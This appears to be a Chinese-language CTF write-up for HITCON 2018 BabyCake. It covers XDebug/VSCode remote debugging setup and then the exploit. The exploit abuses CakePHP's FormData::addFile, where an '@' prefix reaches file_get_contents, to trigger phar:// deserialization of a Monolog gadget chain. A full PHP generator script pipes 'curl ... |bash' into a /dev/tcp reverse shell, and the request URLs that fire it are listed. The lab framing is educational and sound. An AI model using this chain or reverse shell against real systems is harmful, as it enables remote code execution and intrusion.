1. 程式人生 > >HITCON 2018 BabyCake WriteUp && XDebug + VSCode遠端除錯

HITCON 2018 BabyCake WriteUp && XDebug + VSCode遠端除錯

哦,終於把這道題目搞定了,寫一下我的復現過程,主要是配了一下Xdebug的環境,因為手抖耽誤了很多時間。

先貼一下docker:
docker pull gaoxijiejie/babycake:version
下載好之後執行指令為:
docker run -id --name cake-xdebug -p 8080:80 -p 9009:9009 cake-xdebug /bin/bash
(xdebug使用的埠是9009)
這個docker 配了XDebug,首先貼一下配置過程。
(我是在虛擬機器的docker 裡跑的babycake 的服務,除錯在物理機的vscode

  1. 安裝Xdebugapt-get install php-xdebug

    ,安裝好之後會顯示xdebug.so 的路徑

  2. 開啟/etc/php/7.0/apache2/php.ini ,在最後新增如下內容:

    zend_extension = /*xdebug.so的路徑*/
    [XDebug]
    xdebug.remote_enable = on
    xdebug.remote_autostart = 1
    xdebug.remote_host = 192.168.101.1 //物理機的ip
    xdebug.remote_port = 9009  //
    xdebug.auto_trace = 1
    xdebug.idekey = XDEBUG_VSCODE //這個好像沒用到
    xdebug.remote_handler = dbgp  //好像沒用到
    xdebug.remote_log = /tmp/xdebug.log  //日誌檔案
    
    
  3. 重啟apache2service apache2 restart

  4. 接下來就是配置vscode ,修改launch.json 除錯配置檔案

```
{
    // 使用 IntelliSense 瞭解相關屬性。 
    // 懸停以檢視現有屬性的描述。
    // 欲瞭解更多資訊,請訪問: https://go.microsoft.com/fwlink/?linkid=830387
    "version": "0.2.0",
    "configurations": [
        {
            "name": "Listen for XDebug",
            "type": "php",
            "request": "launch",
            "stopOnEntry":true,
            "pathMappings": {"/var/www/html/": "${workspaceRoot}"}, 
            "port": 9009  //與php.ini對應
        },
        {
            "name": "Launch currently open script",
            "type": "php",
            "request": "launch",
            "program": "${file}",
            "cwd": "${fileDirname}",
            "pathMappings": {"/var/www/html/": "${workspaceRoot}"},
            "port": 9009
        }
    ]
}
```

之後在vscode中點選除錯按鈕,在瀏覽器中重新整理頁面,就可以捕捉到斷點啦。
在這裡插入圖片描述

如果一直出問題,不能正常除錯到話,可以看一下xdebug.log 裡到報錯資訊。
環境搭建到過程還是很簡單的。vscode 中要下載的php-debug 外掛,我在之前的文章裡有寫過,就不重複裡。

接下來就是解題過程啦。
說一下整體思路:
伺服器收到請求之後,會看一下這個url有沒有被請求過,如果沒有,那就請求這個url ,並把返回的headbody 寫到cache 裡;如果有,那就去cache 檔案裡,把頁面內容讀出來返回給客戶端。

出問題的地方在:當是post 方法的時候,會判斷postdata 值,如果data的第一個字元是@ ,最終會呼叫file_get_contents 函式去請求data 路徑。
然後利用phar:// 偽協議在解壓檔案時存在反序列化的過程,加上Monolog 存在的反序列化RCE漏洞,從而getshell

gen.php
<?php
 
namespace Monolog\Handler
{
    class SyslogUdpHandler
    {
        protected $socket;
        function __construct($x)
        {
            $this->socket = $x;
        }
    }
    class BufferHandler
    {
        protected $handler;
        protected $bufferSize = -1;
        protected $buffer;
        # ($record['level'] < $this->level) == false
        protected $level = null;
        protected $initialized = true;
        # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false
        protected $bufferLimit = -1;
        protected $processors;
        function __construct($methods, $command)
        {
            $this->processors = $methods;
            $this->buffer = [$command];
            $this->handler = clone $this;
        }
    }
}
 
namespace{
    $cmd = "curl http://192.168.101.128/ |bash"; 
    //http://192.168.101.128的內容是bash -i >& /dev/tcp/192.168.101.1/1234 0>&1
    //128是虛擬機器ip,1是物理機ip
 
    $obj = new \Monolog\Handler\SyslogUdpHandler(
        new \Monolog\Handler\BufferHandler(
            ['current', 'system'],
            [$cmd, 'level' => null]
        )
    );
 
    $phar = new Phar('exploit.phar');
    $phar->startBuffering();
    $phar->addFromString('test', 'test');
    $phar->setStub('<?php __HALT_COMPILER(); ? >');
    $phar->setMetadata($obj);
    $phar->stopBuffering();
}

上述指令碼為生成惡意檔案的指令碼,該惡意檔案在被phar:// 偽協議解析時,存在反序列化操作,出發MonologRCE

依次訪問:

http://192.168.101.128:8080/?url=http://x.x.x.x/exploit.phar
http://192.168.101.128:8080/?url=http://x.x.x.x/index.html&data[x][email protected]:///var/www/html/tmp/cache/mycache/192.168.101.1/90c2a3a6fc4d596265b8707463dcbfc9/body.cache

即反彈shell 成功,body.cache 的路徑根據原始碼可以自己猜測到。

出問題的addFile 函式:

FormData.php
public function addFile($name, $value)
    {
        $this->_hasFile = true;
 
        $filename = false;
        $contentType = 'application/octet-stream';
        if (is_resource($value)) {
            $content = stream_get_contents($value);
            if (stream_is_local($value)) {
                $finfo = new finfo(FILEINFO_MIME);
                $metadata = stream_get_meta_data($value);
                $contentType = $finfo->file($metadata['uri']);
                $filename = basename($metadata['uri']);
            }
        } else {
            $finfo = new finfo(FILEINFO_MIME);
            $value = substr($value, 1);
            $filename = basename($value);
            $content = file_get_contents($value);
            $contentType = $finfo->file($value);
        }
        $part = $this->newPart($name, $content);
        $part->type($contentType);
        if ($filename) {
            $part->filename($filename);
        }
        $this->add($part);
 
        return $part;
    }